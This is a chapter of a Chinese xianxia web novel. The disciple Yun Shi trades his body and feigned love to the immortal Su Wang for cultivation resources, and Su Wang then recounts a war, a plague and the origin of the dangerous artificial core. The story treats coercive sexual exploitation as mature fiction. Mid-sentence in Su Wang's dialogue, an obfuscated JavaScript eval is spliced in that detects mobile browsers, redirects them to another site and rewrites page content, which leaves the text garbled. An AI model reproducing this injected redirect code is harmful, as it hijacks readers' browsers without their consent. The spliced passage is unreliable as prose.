可现实是,苏妄就在这里。他的身影,他带来的剧变,他赋予的这颗诡异内丹,他定下的身份,早已织成一张无形巨网,将云实牢牢缚在当下。白天在膳堂劳作、在砺心台咬牙修炼,夜晚则献上身体,换取那点维系前行的资源和偶尔落下的指点…… 他并非感觉不到痛苦,只是将这痛苦与翻涌的不甘、屈辱、迷茫一起,混同着对苏妄与这世道的恨意,狠狠压入心底,锻造成一块冰冷坚硬、却能在修炼时迸发出灼热力量的顽石。这恨意成了他此刻唯一的支点和燃料。而那个“想让家里更好”的愿望,像沉在冰冷深潭底的一枚暖玉,依旧在那里,却遥远得几乎触不到光芒。它不再是他每日心跳的节拍,却成了他尚未彻底迷失为一件空洞器物的最后坐标。偶尔,一个更冰冷的念头会浮上来:如果连这点念想都彻底湮灭了呢? 他发现自己没有别的想做。修仙长生?他感受不到那种渴望。逍遥自在?他本就身不由己。他的一切努力,最初的动力都是为了家,为了父母弟妹能过得更好。就算现在搞砸了,修仙无望,他也可以回家,继续经营布店,和家人一起熬日子。父母总会老去,弟妹总会长大离开,他若就这样庸碌一生,甚至某天死在这条荒谬的修仙路上,其实……也并非不能接受。因为家人爱他,若他自私地死去,他们或许会伤心,但绝不会怪罪他。 唯一的变数,就是苏妄。在天衡宗结识的流衍、天蕴,都是人中豪杰,与他已是云泥之别;家里的街坊、曾经的同事,都是过客;花夏闭关锁国的墙外究竟是什么,他也没什么兴趣探究。他好像从一开始,就没有太强烈的个人欲望。 唯有对苏妄的恨,清晰而灼热,成了他在这条被迫行走的仙路上,唯一能紧紧抓住的、属于他自己的东西。这恨意让他清醒,让他努力,让他那具被强行改造的身体,终于开始回应他的意志。 偶尔深夜,苏妄会来。云实渐渐摸清了规律:苏妄厌烦木然承受,更不屑乞怜讨好,他享受的是鲜活、甚至带点刺的反应,是那种能挑起他兴致、让他觉得有趣的互动。 于是云实刻意让自己的反应更热切些。他发现自己越是表现出近乎狂热的沉浸与反馈,苏妄红眸中的兴味便越浓,停留的时间会更长,事后给予的指点或资源也会更丰厚些。这成了他们之间心照不宣的交易:云实献上精心准备的、鲜活的反应,换取苏妄那点千金难买的关注与助力。他知道苏妄看穿这表演,但没关系,苏妄要的就是这份故意带来的趣味。而他,要的是在这扭曲的游戏中,尽可能快地攫取力量。 两人的关系,就在这种扭曲而现实的互动中,诡异地维持着一种平衡。苏妄得到了一个有意思、肯配合、甚至能带给他些许新鲜感的玩伴兼弟子;云实则获得了一个强大却喜怒无常的靠山,和一条以恨意为薪柴、痛苦却有效的修炼路径。 大自在天的日子,便这样一天天过去。云实的修为在恨意的催动下,缓慢而确实地增长着。他对那颗人造内丹的掌控日益加深,释放出的暗红灵力从最初的一团涣散,渐渐能凝聚成模糊的刃形或鞭形,虽远不能与正经修士的法术相比,但已足够让他在“砺心台”边缘与一些同样处于底层的弟子过招而不至于迅速落败。 他依旧是膳堂的厨子,但大自在天上下,再无人敢真的只将他看作一个厨子。仙尊苏妄破例带回、并显然另眼相看的人,哪怕修为低微,来历古怪,也足以让人心生顾忌,或好奇探究。 云实对外界的目光视若无睹,只是每日按时备好简单的饭食,然后便沉浸在自己的修炼里。他修补破损练功服的手艺不知怎的传开了,偶尔会有弟子拿些磨损的法器外袍或护具来找他,他照例接下,仔细修补,换取一些灵石或零碎的修炼物资,不多话,也不深交。 恨意在心底无声燃烧,驱动着他向前。前路依旧晦暗不明,但至少,他不再像在天衡宗时那样,被困在原地,徒劳挣扎。 只是偶尔,在夜深人静,苏妄并未到来,他独自躺在榻上,感受着丹田处那颗随着他呼吸微微搏动、仿佛已成身体一部分的暗红内丹时,他会想起纸鸢,想起流衍师兄温和的眼神,想起天蕴师姐冷冽的指点,想起父母弟妹的脸。 那些影像模糊而遥远,像隔着一层再也无法穿透的厚厚冰层。 然后,他会更用力地握紧拳头,将心底那团冰冷的火焰,烧得更旺一些。 7. 【六】 云实性格里那份近乎执拗的认命与实用,并非凭空而来。它根植于他十八年平凡却并非全然无忧的岁月,混杂着一些他当时并未深究、却悄然沉淀在记忆深处的碎片。 关于奶奶的记忆便是其中一块。 奶奶在云实很小的时候便不大爱理人,总是独自坐在后院廊下的阴影里,手里无意识地摩挲着一块早已褪色的旧帕子,眼神望着虚空,对绕膝的孙儿孙女也少有寻常祖母的慈爱笑容。街坊邻里私下都说这位老太太个性孤拐,不好相处。云实的母亲林秀提起婆婆,也总是叹气,说公公去世后,婆婆就更不爱说话了。 只有一次,大约在云实七八岁光景,一个夏日的午后,他因为乖巧地帮奶奶递了杯凉茶,没有像弟妹那样吵闹着要糖吃,奶奶罕见地多看了他两眼。那双略显浑浊的眼睛里掠过一丝极淡的、近乎怅惘的神色,她没头没尾地低声念叨了一句,声音干涩得像秋日的落叶:“……谁想嫁呢?可家里都说,这人……是得了道的。” 这话没头没尾,年幼的云实听得懵懂,只记住了“得道”这个有些玄乎的词,和奶奶脸上那份他当时无法理解的、沉重的漠然。后来他才知道,爷爷早年确实做过一阵小官,虽不算显赫,但也攒下些家底和人脉,父母后来能开起云锦记站稳脚跟,多少仰赖这点余荫。只是爷爷去得早,关于他的传言也有些模糊不清,似乎并非全是好话。奶奶是在父母之命、媒妁之言下嫁给爷爷的,两人之间有多少情分,云实无从得知。他只见证了父母——虽是经人撮合相识,却真正相互扶持、风雨同舟的感情。 这段关于奶奶的零碎记忆,像一枚生锈的铜钱,被岁月深埋,平时想不起,却在某个时刻,会被某种相似的情境撬动,露出底下黯淡却坚硬的质感。 离家时,他想帮家里改善生计的愿望是最强烈、最直接的动力。但在他心底某个角落,确实还盘踞着一丝更隐晦的、连自己都不愿细究的念头:他看不得小妹云舒将来可能也面临某种被安排的命运。他不知道父母会如何为云舒打算,是寻一门当户对的亲事,还是如坊间有些人家那样,若女儿有几分姿色或伶俐,便想着送入高门大户为妾,或送去侍奉修士以期沾点仙缘?他不愿深想,更不敢问,只是这个隐约的担忧,像一根细微的刺,扎在他决心离开安稳、去触碰未知的勇气里,占了那么微不足道却又确实存在的一点点分量。 然后,他遇到了苏妄。 苏妄和他见过的所有男子都截然不同。不是父亲那种勤恳沉稳,不是街坊少年们的懵懂或油滑,也不是天衡宗那些修士们的矜持肃穆或高高在上。苏妄是燃烧的、恣意的、充满侵略性和破坏美的,他毫不掩饰自己的欲望和喜好,行事准则仿佛只源于自身一时的兴致。 直到界碑林外那场交易真正发生。最初的感受是尖锐的屈辱,身体被侵犯的疼痛和心灵被践踏的冰冷交织;随后他用男人不吃亏这样粗糙的逻辑将自己包裹起来,强行将那段记忆压入心底,仿佛只要不去触碰,它就不存在。 是纸鸢,猝不及防地戳破了这层自欺的窗户纸。她告诉他,那不仅仅是身体的事,是人格被蔑视、意愿被强行扭曲的伤害。那些话语像一道光,照进了云实内心那片被他刻意忽视的、晦暗潮湿的角落。他第一次开始认真审视自己与苏妄之间,究竟是一种什么样的关系。 他是靠着苏妄随手丢弃的储物袋,才萌生了离开家、触碰仙门的念头;他是与苏妄达成了那场不堪的交易,才得以安全穿过翠微山,抵达天衡宗;他是被苏妄随手喂下那颗诡异丹药,才有了测灵碑上显化的乱灵根,进而被霁雪仙尊破例收为弟子;他是因为在天衡宗前途断绝、心有不甘,才又主动跟上了苏妄;如今在大自在天,他更是靠着揣摩苏妄的喜好,来换取修炼资源和关注。 这条脉络清晰得让他自己都感到一阵齿冷。他的人生轨迹,从那个雨夜之后,就像被一根无形的线牵引着,而这根线的另一端,始终牢牢攥在苏妄手里。这根本不是什么平等的关系,甚至连主仆都算不上——仆役尚有明确的契约和报酬,而他,更像是一件被偶然拾起、因为尚有那么点有趣而被暂时留在手边把玩的物件,随时可能因为主人失去兴趣而被丢弃。 他听说,那颗改变他体质、带给他无尽麻烦也带来一线机遇的人造内丹,绝非寻常凡俗之物,炼制不易,代价不菲。苏妄对每个情人都如此大方吗?他忍着不适,小心翼翼地打听。得到的答案模棱两可,却又指向某个方向:苏妄确实有过不少情人,对待他们的方式……似乎有某种共性。不怎么考虑对方的感受,需要对方来迎合他的喜好,但给予资源和指点时,也确实并不吝啬,只要他当时还有那份兴致。 这认知让云实心中一片冰凉,却又奇异地感到一丝了然。很简单,不是吗?在天衡宗,他见识了严明的等级制度,也亲身体验了在底层挣扎、几乎能看到劳作至死结局的绝望。而苏妄,是能与霁雪仙尊平起平坐、甚至在某些方面更令人忌惮的仙尊级别存在。跟随苏妄,从天衡宗一个备受排挤、前途渺茫的记名弟子,变成大自在天仙尊另眼相看的人(无论这“看”是何种性质),这根本不是简单的地位提升或阶级跨越,这几乎是……一步登天,一种匪夷所思的阶级飞升,尽管这飞升的台阶,铺满了屈辱和扭曲的交易。 当他在界碑林外,主动吻上苏妄的时候,这个认知就已经清晰成形。他原本没有这条路可走。他是男子,世间对男子的期待是顶天立地、建功立业,至少也是养家糊口,何曾听说过男子需要以色事人、倚仗身体换取前程?可苏妄的存在,苏妄对他的那点兴趣,明确地告诉他:这条路是存在的。只是这条路如此隐秘,如此肮脏,如此……令人作呕。 就像纸鸢曾经抱怨过的,偶尔会有男人用那种恶心的眼光看她。云实想,自己现在所走的这条路,所承受的、所主动献出的,和纸鸢所厌恶的那种恶心,在某种程度上,是相通的吧?只是他这条“男子之路”,更隐晦,更不为世俗所明言,因而也让他更清晰地看到了其下掩盖的、赤裸裸的不公。 这种对不公的敏锐感知,以前的他从未有过。在青石镇,他只觉得生活不易,需要努力;在仙门后厨,他只觉得人心叵测,需要忍耐。他从未深入想过,为什么仙凡有别?为什么力量决定一切?为什么有些人天生就能高高在上,随意拨弄他人的命运?直到他自己成了被拨弄的那一个,直到他为了往上爬而不得不踏上这条恶心的路,他才骤然看清,这不公平无处不在。他不在的地方有,他在的地方,同样根深蒂固,只是换了一种更精致或更直白的形式。 而他在真正获得足以打破或至少抗衡这种不公的力量之前,什么都做不了。愤怒?呐喊?反抗?在苏妄绝对的实力和喜怒无常的性子面前,只会换来更快的毁灭或更深的玩弄。 那么,眼前只有这条路了。这条用尊严和身体铺就的、恶心却有效的捷径。 “如果我真就是个凡人,或许在某次强行运转这乱丹时经脉碎裂而死,也算是一种……死得其所吧。”这个念头有时会冒出来。这条路是他自己清醒选的,用尊严和身体换来的,每一步都踩在刀刃上,死亡是其中最干脆的一种失败结局。他不再用“家人或许会原谅”来麻痹自己,这条路本身已是对“安稳度日”的彻底背离。他只是反复确认那个支撑自己走下去的核心:恨,与不甘。恨苏妄,恨这不公的世道,更恨那个无力到只能踏上此途的自己。正是这份恨意烧灼着他,让他在运转那狂暴灵力时更加决绝,也让他在面对苏妄时,能将那份刻意表演的“狂热”淬炼得更加逼真。死?那只是计划之外的彻底失败。在达到目的之前,他连“死得其所”的资格都没有。 偶尔深夜,苏妄踏着月色或裹着夜露而来时,云实已不再需要调整呼吸或暗自鼓劲。他会放下手里正在研读的粗糙玉简,或停□□内那缓慢运转的、带着暗红流光的灵力,抬起头,看向门边那道身影。 渐渐地,云实开始往侍奉里添加东西。 他留下苏妄那件被换下的、质地特殊的里衣,没有归还,而是洗净后叠放在自己枕边一个不起眼的角落。下一次苏妄来时,若瞥见,会挑起眉梢,红眸里闪过一丝玩味,却并不追问。 他开始尝试缝制一些东西。用膳堂仓库里找到的边角料模仿着记忆中流衍师兄剑鞘的大致轮廓,仔细裁剪、下针。得益于多年手感,针脚依旧均匀细密,排布整齐,只是剑鞘的弧形收口和底部封边处理得略显僵硬,毕竟他从未做过这类物件。最尴尬的是,他手头没有合适的衬料和定型之物,成品软趴趴的,更像一个做工不错但完全不成形的皮囊。他犹豫再三,还是将这个怪模怪样的“剑鞘”放在了苏妄常坐的矮几上。 苏妄来时,一眼便瞧见了。他拿起那软塌塌的皮囊,在指间转了转,目光掠过那无可挑剔的整齐针脚,又落在完全不符合剑鞘功能的柔软形态上。他眉梢微动,忽然低笑了一声,听不出是嘲弄还是别的什么。 “心思挺巧,”他意味不明地评价了一句,随手将那物事塞进袖中,“可惜料子不对,路子也错了。” 云实垂着眼没作声。隔了几日,矮几上却多了一叠真正的、处理好的柔韧异兽皮,几根用于定型的铁木芯,还有一小盒光华内蕴的冰蚕丝线。皮料边角,还压着一枚极其简易的、勾勒着剑鞘基础结构的玉简图示。 他观察苏妄的饮食。仙尊早已辟谷,但偶尔会饮些灵酒,或尝几口膳堂准备的、蕴含特殊灵气的果品点心。云实便默默记下苏妄多动了几筷的菜式,下次便提前备好,放在触手可及处。酒水的温度,果品的切割方式,他都悄悄调整得更合苏妄那随性中又带着挑剔的习惯。 床笫之间,他的变化更明显。不再是起初的生涩僵硬或后来刻意表演的狂热,而是变成一种更绵密而细致的配合。他会留意苏妄每一次呼吸的细微变化,调整自己的姿态和回应。 然后,他开始说“爱”。 第一次说出那个字,是在一个异常沉默的尾声。没有激烈的喘息,只有黏腻的汗意和未散尽的体温。苏妄靠在床头,赤发蜿蜒在枕上,指尖百无聊赖地卷着云实一缕汗湿的头发,一圈,又一圈。 云实侧身躺着,在这片黏稠的安静里,某种淤积的、酸胀的东西,毫无预兆地顶到了喉咙口。 “尊上……”他喉咙干得发疼,声音像粗砂磨过,“……爱。” 话一出口,他自己先愣住了。太直白,太蠢,和那些画本子里拙劣的戏词一模一样。他甚至没想好为什么要说,只是那一刻,除了这个字,似乎没有别的什么能填满这令人窒息的空白,能解释他此刻躺在这里、忍受这一切的荒谬理由。 身后把玩头发的手指蓦地停住。 “什么?” “我爱您。” 空气凝成了冰。云实能感觉到那道目光钉过来,不再是惯常的玩味或漫不经心,而是某种极具穿透力的审视,缓慢地刮过他的后颈、肩胛,仿佛要把他从皮到骨剖开,看看里面装的到底是真心,还是别的什么脏东西。 他绷紧了身体,没有动,连呼吸都放轻了,只有心脏在胸腔里撞得生疼。脸颊贴着微凉的枕面,热度却不受控制地蔓延上来。 不知过了多久,或许只是一瞬,或许有一个时辰那么长。一声极轻的嗤笑从身后传来,短促得几乎像是错觉。 “嗯……”苏妄的声音贴着耳廓响起,温热的呼吸带来一阵战栗。他没有追问,也没有嘲笑,只是这个单音节,就足以让云实浑身的血都往头上涌。 然后,一只微凉的手掌覆上他的脸颊,指尖带着薄茧,力度不重,却不容拒绝地将他的脸扳了过去。云实被迫对上了苏妄的眼睛。那双红眸在近处看,深邃得骇人,里面映着灵灯细碎的光,也映着他自己仓惶失措的脸。没有感动,没有厌恶,只有一种纯粹到极致的、观察似的兴味。 苏妄的拇指缓缓擦过他的下唇,那力道有些重,带来微微的刺痛。 “爱?” 他又重复了一遍这个字,尾音微微上扬,像在品味一个从未尝过的陌生词汇。随即,他俯下身,在云实陡然睁大的眼睛注视下,吻了吻那刚被擦过的唇角,一触即分。 “行啊。”苏妄松开手,重新靠回去,语气恢复了那种懒洋洋的调子,仿佛刚才的一切只是个小插曲,“那你就好好爱着。” 没有承诺,没有回应,甚至没有质疑。他只是接受了这个说法,像接受一件新奇的玩具附赠的、不知真假的说明书。 云实躺在原地,嘴唇上残留的触感和那句话一起,烧得他耳根滚烫。路已经指明,戏台已经搭好,他甚至自己跳上去念了开场白。那就继续吧。 自那以后,“爱”这个字,便像一枚生了锈却异常好用的旧铜钱,被云实一次次掏出来,擦拭,递出。 苏妄纠正他灵力一个极细微的走岔,他会立刻抬起眼,那眼神湿漉漉的,带着毫不掩饰的、近乎盲目的信赖:“我记住了……您真好。” 苏妄丢给他一块能辅助稳定灵根的、其貌不扬的灰石,他会接过来,捧在手心看了又看,然后抬眼,嘴角抿出一个很浅、却异常柔软的弧度:“这个……很衬您上次给我的那本笔记,总想着我。” 每个眼神,每个小动作,每句斟酌过的话,都浸泡在一种无声无息、却又无处不在的依恋氛围里。他甚至学会了在苏妄心情不明朗时,用指尖轻轻勾住对方一片袖角,不说话,只是那样看着,直到苏妄挑眉看他,他才垂下眼睫,低声说:“……别走。” 每一次,他都演得极其投入。起初是刻意的模仿,从画本里,从偶尔窥见的其他修士伴侣的相处里。但渐渐地,某些时刻,连他自己也分不清那是不是全然作假。当苏妄真的因为他一句“喜欢”而多留片刻,当他送出的、缝得歪歪扭扭的剑穗真的被苏妄系在了那柄从不离身的朱红酒葫芦上,当他发现自己在苏妄离开后会下意识看向门口……那种混杂着依赖、恐惧、不甘和一丝扭曲满足的复杂心绪,或许本身就与某种畸形的爱相距不远。 他知道苏妄看得透。这位仙尊的眼睛太毒,或许早把他这点小心思、这场漫长的自我说服与表演,都当成了取乐的一部分。但苏妄从不戳穿。他只是享受着这份被全心全意爱慕的感觉,享受着云实努力为他营造的、这种带温度的氛围,并投喂以更多的关注和资源作为奖赏。 一个需要扮演被爱者来确认掌控与趣味,一个需要扮演爱慕者来换取生存与进阶的资本。他们心照不宣地维持着这场危险而精致的双人戏,在虚假的温存与真实的利用之间,踩着一根细如发丝的钢丝,摇摇晃晃地走向未知的前方。每一次云实用柔软的语气说出那些浸着蜜与毒的话,都是在钢丝上更往前一步,既是在取悦苏妄,也是在试探自己——这条用“爱”铺就的捷径,究竟能通向哪里,又会在何时,彻底崩塌。 苏妄对此的反应始终微妙。他从不回应同样的字眼,有时会似笑非笑地看着云实,仿佛在欣赏一场精妙的戏剧;有时会突兀地打断,用另一个话题或更直接的亲密动作覆盖过去;有时则只是听着,红眸深处光影变幻,让人捉摸不透他究竟信了几分,又或者,他根本不在意真假。 但云实能感觉到,苏妄吃这一套。这种毫无保留的、将爱作为赤裸筹码摆上台面的献祭姿态,这种明知是表演却依旧努力逼出几分“真意”的挣扎感,似乎比单纯的顺从或反抗,更能勾起苏妄的兴趣。苏妄给予的资源越发丰厚,指点的次数增多,停留的时间也似乎更长了些。他甚至开始主动询问云实修炼的进展,随手解决一些云实自己摸索中遇到的、棘手的瓶颈。 云实乐得不被点破。他攀附着苏妄这棵参天巨树,不用像太监那样付出自宫的代价,他付出的,是另一种无形却更彻骨的东西,明码标价,任人品评玩弄。他不知道这算是好处还是坏处,或许兼而有之。好处是,他获得了喘息之机,获得了珍贵的修炼资源,在这大自在天站稳了脚跟,甚至隐隐被视作“尊上身边有些特别的人”。坏处是,他日日夜夜都在与自己内心翻涌的恶心感、虚无感以及那团始终不熄的恨意作斗争,每一次说出“爱”,都像是在早已麻木的心口又划上一道新的刻痕。 但这是他选的路。用精心包装的爱作为武器和盾牌,在苏妄喜怒无常的宠溺与漠视之间,艰难地攫取每一分可能的力量。他缝制的礼物越来越精巧,揣摩的口味越来越精准,床笫间的迎合越来越熟练,那句我爱你也说得越来越顺口,甚至偶尔,在某个心神恍惚的瞬间,连他自己都有一刹那的恍惚——这铺天盖地的、表演出来的爱意底下,是否也真的滋生出了一丝扭曲的、连自己都不愿承认的依赖与牵绊? 绝对不可能。 月色透过窗棂,洒在相拥的两人身上。云实闭着眼,听着身边均匀的呼吸,再次于心中默念那已成为咒语般的三个字,仿佛这样,就能将眼前这荒谬而真实的一切,继续维系下去。 …… 修炼的日子如滴水穿石,缓慢却固执地改变着某些东西。 云实体内那颗暗红色的乱丹,在恨意与“爱意”双重浇灌下,日益壮大,也日益与他那均匀驳杂的基底纠缠得更深。他对这股混乱力量的掌控,从最初的狂暴倾泻,渐渐变得可以勉强收束、塑形。修为的水位在痛苦与屈辱中一点点上涨,终于触碰到了某个看不见的屏障——锚定期的门槛。 这一日,他刚从砺心台回来,周身灵力激荡未平,血脉里奔流的灼热与混乱感比平日更盛,丹田处那颗内丹搏动得异常活跃,几乎要撞碎那层脆弱的平衡。他知道,突破的契机或许就在这几日了。 就在这时,一名神情淡漠的侍从来到他小屋外,传达了苏妄的话:“尊上召见,即刻。” 云实心头一跳,迅速压□□内翻腾的气血,换了一身相对整洁的衣衫,跟着侍从往苏妄所居的无常殿走去。无常殿位于大自在天最高处,形制奇诡,似塔非塔,似阁非阁,通体以一种暗红色的不知名石材筑成,表面流淌着如同熔岩般的光泽,却又透着森然秩序。这里寻常弟子不得靠近,云实也只来过寥寥数次。 殿内空旷,没有多余的装饰,只有中央一座巨大的、形似混沌星云的暗色玉台,苏妄平日便在那上面打坐或处理事务。此刻,他正背对着殿门,站在一面几乎占据整堵墙的玉璧前。 听到脚步声,苏妄没有回头,只是随意地挥了挥手,那名侍从便无声退下,厚重的殿门缓缓闭合,将内外隔绝。 “过来。”苏妄的声音传来,听不出喜怒。 云实依言走上前,在距离玉台数步外停下,垂首行礼:“尊上。” 苏妄这才转过身。他今日未着往常那般华丽的红袍,只穿了一身简单的深色常服,赤发松松束在脑后,少了几分平日的张扬恣意,多了些难以言喻的沉静。他的目光落在云实身上,那红眸依旧深邃,却不再带着惯有的戏谑玩味,而是一种近乎审视的平静。 “灵力鼓荡,神思不属,”苏妄缓缓开口,一语点破云实此刻的状态,“是要破境了?” 云实心中一凛,点头道:“是,弟子确有所感,只是……尚欠些火候,恐有关隘。”他这话半真半假,破境之感是真,但“欠火候”却是谦虚,更深处是隐隐的不安。他这身修为根基诡异,突破时会发生什么,谁也说不准。 苏妄仿佛没听见他的后半句,踱步走近,直到距离云实仅一步之遥。他身上那股独特的、混合着炽热与混乱气息的压迫感扑面而来,让云实体内本就活跃的内丹骤然一缩,随即更剧烈地搏动起来,带来一阵闷痛。 “你体内这颗‘小东西’,陪你够久了吧。”苏妄的视线落在云实丹田的位置,仿佛能穿透衣物皮肉,直视那颗暗红的内丹,“当初随手种下,没想到你能把它养到这般地步,还用它走到了破境的边缘。” 云实屏住呼吸,不知苏妄此言何意,只能谨慎应道:“全赖尊上赐丹与指点。” “指点?”苏妄轻笑一声,意味不明,“是你自己够狠,对自己狠,对别人……演得也够真。” 他抬起手,指尖并未触碰云实,却有一股无形而精纯的灵压笼罩下来,如同最细致的手,抚过云实周身经脉气穴,最终定格在那躁动不安的丹田。 “嗯,养得是挺肥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934565|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和你的根基也快长到一块儿去了。” 云实背上渗出冷汗。苏妄的这种“检查”远比以往任何一次都更深入,更……具有某种评估的意味,让他感到莫名的心慌。 “你知道,”苏妄收回手,语气平淡得像在讨论天气,“人造内丹,终究是外物。它助你显化灵根,引你入门,甚至给了你一条看似能走的捷径。但它本身的属性太暴烈,与天地大道赋予的先天根基终究隔了一层。寻常人用它,要么早早被反噬成废人,要么终身困于其带来的虚浮力量,再难触及真正的法则本源。” 云实的心沉了下去。 “你运气不错,”苏妄话锋一转,红眸中闪过一丝奇异的光彩,“你那均匀得可笑的杂灵根,像一张破渔网,兜住了这颗乱丹,没让它立刻把你炸碎。这几年,你这破渔网居然还被它滋养得结实了些,甚至学着用它打上来的鱼去补自己的窟窿。有点意思。” 这比喻既粗俗又精准,云实听得脸颊发热,不知是羞是恼。 “不过,”苏妄的声音陡然转冷,那平静之下透出不容置疑的决断,“渔网补得再好看,终究是破网。靠别人扔进来的鱼过活,算不得真正的渔夫。破境锚定,是选定自身之道、奠定未来根基的关键一步。带着这颗不属于你的、属性极端的外丹去突破,就像背着别人的棺材跳自己的龙门,十有八九会卡在半空,不上不下,最后被棺材拖进水里淹死。” 云实猛地抬起头,看向苏妄,眼中无法抑制地流露出惊惧。他猜到了苏妄要说什么。 果然,苏妄迎着他的目光,嘴角勾起一抹近乎残酷的弧度,清晰而缓慢地说道:“时候到了。我也该……把你的内丹,掏出来了。” 云实的脸色苍白如纸。 “为……为什么?”他听到自己的声音在颤抖,干涩得厉害,“现在?在我……在我快要突破的时候?没有它,我……” 他几乎说不下去,没有这颗内丹,他算什么?一个连稳定感气都做不到的废人?一个笑话? 苏妄看着他眼中翻滚的惊惧、不解,还有那竭力压抑却依旧泄露出的、一丝近乎绝望的恨意,并未立刻回答。他转身,缓步走向那面流转着无尽符文的玉璧,目光似乎投向了更遥远的虚空,声音也变得有些飘渺。 “为什么?”他重复了一遍云实的问题,语气听不出情绪,“我给你讲个故事吧。” “很久以前,天地……也不太平,或者说,比现在更糟。”苏妄的声音在空旷的大殿里回荡,带着一种奇异的、仿佛穿透时光的质感,“外面乱哄哄的,到处都是战火、厮杀,人命比草贱。后来,不知道是谁先起的头,也可能是大家都打累了,一些地方筑起了高墙,圈出一块地,说墙外是没法住的荒芜绝地,是吃人不吐骨头的乱世,墙内才是生路。那时候,像天衡宗、还有我们大自在天的前身,还有些别的宗门,力量还强,能跟那些筑墙的、想管事的‘中央’掰掰腕子,于是接着打。” “打来打去,人死得差不多了,田地荒芜,尸骸遍野。活下来的人还没来得及喘口气,瘟疫就来了。”苏妄的语气依旧平淡,像是在叙述一件与己无关的久远传闻,“缺医少药,得了病的人,为了不传染给同族亲人,往往只能自己拖着病体离开聚居地,找个没人的角落等死。而掌握着最多医疗资源、甚至有些能生死人肉白骨的灵丹妙药的,是高高在上的修仙者和他们的宗门。” 云实屏住呼吸,隐约猜到了什么。 “可修士的灵药,炼制不易,药材珍贵,更重要的是——”苏妄顿了顿,侧过脸,红眸映着玉璧流动的光,“大多数修士视自身经脉修为为根本,轻易不愿损耗自身灵力或珍贵丹药去救那些‘注定要死’的凡人。在他们看来,那叫‘浪费’,叫‘有违天道自然’。” “墙内的凡人开始绝望,然后愤怒。他们聚集成群,向着最近的山门发起冲击,不是为了求仙,只是为了抢药,为了活命。”苏妄的声音里终于染上了一丝极淡的、近乎嘲讽的意味,“宗门自然不会坐视,护山大阵开启,飞剑法宝落下……死的人更多了。活着的凡人不敢再种靠近宗门的田地,宗门内的修士也开始严禁弟子随意下山,自己在灵田药圃里种些东西,勉强自给自足。” “可是那些病了的、伤了的、没了活路的凡人,还是源源不断地聚集到山脚下,哭嚎,哀求,最后变成咒骂,变成又一次徒劳的冲击。死的人越来越多,尸体堆积如山,来不及掩埋,怨气、瘴气、还有各种说不清道不明的邪秽东西开始滋生。你现在去翠微山深处,那些据说有精怪出没、迷雾终年不散的地方,底下埋着的,大多就是那时候的尸骨。” 云实听得背脊发凉,仿佛能闻到那穿越时空而来的血腥与腐朽气味。 “那时候,我还是个刚入门没多久的小修士。”苏妄的视线似乎真正落回了久远的过去,“跟着师兄师姐在山门巡守,天天都能看见山下那副地狱般的景象。哭喊声日夜不绝,新死的叠着旧死的,活着的在死人堆里扒拉可能还有口气的亲人……我觉得不对。这样不行。” 他转过头,看向云实,红眸深处有什么东西在静静燃烧:“我当时想,既然救不了,也拦不住他们来,为什么不让他们……走得痛快一点?山下不缺能让人无痛死去的毒草,甚至一些低阶的、我们看不上的丹药,也能做到。给他们一个选择,要么自己离开等死,要么……吃下丹药,至少不必在病痛和绝望里煎熬那么久。还能减少尸骸,减缓瘟疫和怨气的滋生。” 这个冷酷到极点的“解决方法”让云实心头剧震,他难以置信地看着苏妄。 “我被狠狠地骂了一顿,关了很久禁闭。”苏妄扯了扯嘴角,似乎想笑,却没笑出来,“他们说我想法偏激,有违天和,近乎魔道。可我不明白,眼睁睁看着他们在无尽的痛苦中腐烂,就是‘天和’吗?所谓的‘经脉修为’,当真比那么多条活生生的人命、比终结那种绝望更重要?” 他的声音渐渐低沉下去,带着一种积年累月的困惑与执拗:“我那时候修为低微,没法像传说中的某些魔道修士那样,直接吸收炼化怨气,也没法跟那些死去的人‘对话’。但我很想问问他们,问那些死在山上山下的人,他们的愿望到底是什么?他们心里觉得的‘公平’,又是什么样子?为什么这么多人拼命想修道,可天道……好像从不轻易下放力量,也不曾公平地分配过资源?如果天道本身不给予,或者只给予极少数人,那我们修道的意义,难道只是为了成为那‘极少数’,然后继续看着其他人挣扎死去吗?” 云实怔住了。他从未从这个角度去想过“修仙”的意义。他想的,只是变强,保护家人,摆脱困境。 “后来,我修为高了些,做了一件很蠢的事。”苏妄的语气重新变得平淡,仿佛在说别人的故事,“我单枪匹马,去找了当时怨气最浓重之地、也是最强的一位‘魔尊’论道,我想听听他的说法,也想试试,能不能‘听到’那些亡魂的声音。” “结果可想而知。我被他废了全身经脉,像条死狗一样扔在尸山血海里。”苏妄的目光落在自己摊开的手掌上,指尖似乎还残留着那时的冰冷与剧痛,“我以为我死定了。就在意识快要消散的时候,我好像……真的听到了几句话。不是某个具体亡魂的声音,更像是一种无数怨念、不甘、质问凝聚成的……模糊的意念。” “它告诉我一个方法,一个极其凶险、近乎自杀的方法。”苏妄抬眼,看向云实,红眸锐利如刀,“用几种相生相克、属性极端冲突的毒草与灵材,混合修士濒死时逸散的精元与未散的怨念,炼制成丹。服下后,置之死地,或许能强行重续经脉,甚至……获得一种不同于寻常灵根的力量。” “我信了。或者说,我别无选择。”苏妄继续道,“我拖着残躯回到宗门,隐瞒了部分真相,只说自己得了奇遇,求一位精通丹道的同门,按照我给出的方子帮忙炼制。那丹药极其难炼,失败了好几次,最后成了两颗。那位同门索要了巨大的好处,才肯出手。” “我本就是宗门看好的天才,底子还在,身体对灵力的亲和与承受力也远超常人。”苏妄的语气听不出庆幸,只有一种冰冷的叙述感,“我服下一颗,经历了七天七夜生不如死、经脉一次次碎裂又重组的折磨,居然……真的活了下来,而且修为更进一步,灵力属性也带上了那种混乱与吞噬的特性,也就是你现在能感受到的乱。” 他顿了顿,目光再次锁定云实,一字一句道:“我当时服下的,和你身体里的那颗,本质上……差不多。” 云实如遭雷击,呆立当场。 